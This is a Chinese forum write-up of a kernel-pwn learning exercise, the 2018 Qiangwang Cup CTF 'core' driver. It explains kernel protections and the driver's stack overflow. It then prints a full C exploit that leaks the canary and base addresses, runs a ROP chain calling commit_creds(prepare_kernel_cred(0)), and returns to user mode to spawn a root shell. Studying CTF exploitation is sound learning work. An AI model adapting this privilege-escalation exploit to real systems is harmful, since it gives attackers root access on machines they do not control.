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[原创]Linux Kernel Pwn 学习笔记(栈溢出)
2020-8-22 15:00 2665

[原创]Linux Kernel Pwn 学习笔记(栈溢出)

2020-8-22 15:00
2665

0x01 背景

栈溢出是最基本的一个漏洞,学习 pwn 从栈溢出开始学习是比较简单的入门方式。之前也研究过 linux 内核,但因为种种原因不得不放弃。现在跟着安卓版主学习了几天linux内核漏洞,收获了不少知识,开始自己梳理和分享自己的笔记,特此感谢版主老师的教导

0x02 内核基本知识

Canary: 是防止栈溢出的保护,一般在 ebp-0x8 的位置,学习 linux pwn 的基本知识,不细讲
KASLR:地址随机化,类似 ASLR
SMAP:内核保护机制,内核态不可使用用户态的数据
SMEP:内核保护机制,内核态不可执行用户的代码
commit_creds(prepare_kernel_cred(0)) :获得 root权限功能函数
file_opertion : Linux使用file_operations结构访问驱动程序的函数,这个结构的每一个成员的名字都对应着一个调用ioctl系统调用来控制设备

获取基址

vmlinux_base: 内核加载基址,有了这个可以绕过 kaslr 实现内核的其他函数

获取方式:head /proc/kallsyms 1,startup对应的地址就是基址

 

 

core_base:驱动加载基地址

查看基地址方式
cat /proc/modules
cat /proc/devices
cat /proc/kallsyms
lsmod
dmesg

 

0x03 分析代码

题目:2018 强网杯CTF pwncore

保护机制

从checksec我们可以知道开启canary和nx enable

 

在start.sh可以看到内核没有开启smep和smap,但开启kaslr

程序逻辑

ioctl

首先是ioctl,通过ioctl可以实现core_read和修改off和core_core_func三个功能,我们可以控制ioctl的三个参数,就是arg1(a1),arg2,arg3

core_read

通过ioctl我们可以知道core_read的两个参数对应着arg3和arg2,这里有个泄漏栈地址的漏洞copy_to_user,该函数功能是从v6+off开始的位置读取64个字符到arg3中,通过这个函数可以将栈上v6+off到v6+off+0x64的栈空间传递到我们的buff,即可泄漏canary和vmlinux_base以及core_base,方便我们构造ROP chain。

 

core _write

core_write函数这里copy_from_user可以让我们写name,限制字符数是0x800

copy_copy_func

这里注意到qmemcpy,v2是rbp-50h的地方,可是name是我们控制的变量,并且可以写0x800个字符,那么我们可以这里进行栈溢出劫持控制流

如何编写EXP

编写EXP的时候我们需要注意,进入内核时需要保存当前进程的环境,同时在
init_module 里面有个core_proc = proc_create("core", 438LL, 0LL, &core_fops);
core_fops是file_operation的结构体,它是linux调用的时候指定的函数,
驱动加载的时候调用了init_module,导致我们写的一些函数都指向了驱动中的函数。
这里注册了core_write、core_ioctl、core_release,通过这个结构体我们调用write就是调用core_write,ioctl就是调用core_ioctl.知道这些才能正确地编写exp,exp对应函数调用如下:

void core_read(char *buf){
    ioctl(fd,0x6677889B,buf);
}

void change_off(long long v1){
    ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){
    write(fd,buf,a3);
}

void core_copy_func(long long size){
    ioctl(fd,0x6677889a,size);
}

rop编写

rop思路流程:
1.用canary绕过canary保护
2.调用commit_creds(prepare_kernel_cred(0))提权
3.回到用户态进行调用system("/bin/sh")来getshell
4.最后修复环境。

注:建议用ropper找ROP,不然ROPgadget太慢

    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;                //offset
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;
    rop[i++] = 0;                           //rdi
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
    rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret
    rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx
    rop[i++] = commit_creds_addr;
    rop[i++] = core_base + 0xd6;            //swapgs_ret
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

EXP代码如下

EXP程序流程:
1.就是set_off设置off的值
2.然后调用read泄漏地址
3.在调用write写rop
4.最后调用copy_copy_func实现栈溢出劫持控制流get_shell()

//rop.c
//gcc rop.c -o poc -w -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
void core_read(char *buf){
    ioctl(fd,0x6677889B,buf);
    //printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){
    ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){
    write(fd,buf,a3);
}

void core_copy_func(long long size){
    ioctl(fd,0x6677889a,size);
}

void shell(){
    system("/bin/sh");
}

unsigned long user_cs, user_ss, user_eflags,user_sp    ;
void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}

int main(){
    int ret,i;
    char buf[0x100];
    size_t vmlinux_base,core_base,canary;
    size_t commit_creds_addr,prepare_kernel_cred_addr;
    size_t commit_creds_offset = 0x9c8e0;
    size_t prepare_kernel_cred_offset = 0x9cce0;
    size_t rop[0x100];
    save_stats();
    fd = open("/proc/core",O_RDWR);
    change_off(0x40);
    core_read(buf);
    /*
    for(i=0;i<0x40;i++){
    printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
    }
    */
    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;  '''0x1dd6d1'''
    core_base = *(size_t *)(&buf[0x10]) - 0x19b;
    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
    commit_creds_addr = vmlinux_base + commit_creds_offset;
    canary = *(size_t *)(&buf[0]);
    printf("[*]canary:%p\n",canary);
    printf("[*]vmlinux_base:%p\n",vmlinux_base);
    printf("[*]core_base:%p\n",core_base);
    printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
    printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
    //junk
    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;                //offset
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;
    rop[i++] = 0;                           //rdi
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
    rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret
    rop[i++] = vmlinux_base + 0x1aa6a;      //mov_rdi_rax_call_rdx
    rop[i++] = commit_creds_addr;
    rop[i++] = core_base + 0xd6;            //swapgs_ret
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    core_write(rop,0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

0x04 总结

这是我进入 Linux Kernel pwn 的敲门砖,自己当时听完觉得有点迷糊,看了代码的时候觉得很简单,但是当自己敲的时候又有很多问题不懂,只有当敲完一遍,把程序流程梳理了之后很多地方都清晰了。Linux 内核是很大的世界,要想完全理解,还要深入研究

 

题目下载地址:https://github.com/Vinadiak/LinuxKernelPwn


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最后于 2020-8-23 10:47 被Vinadiak编辑 ,原因:
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Vinadiak 活跃值 1 2020-8-23 10:47
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pureGavin mark,楼主把题目发下
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pureGavin 活跃值 2020-8-23 11:01
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Vinadiak 在最下面的题目下载地址放了题目了
github。。。下载有点儿慢,不过总比没有好
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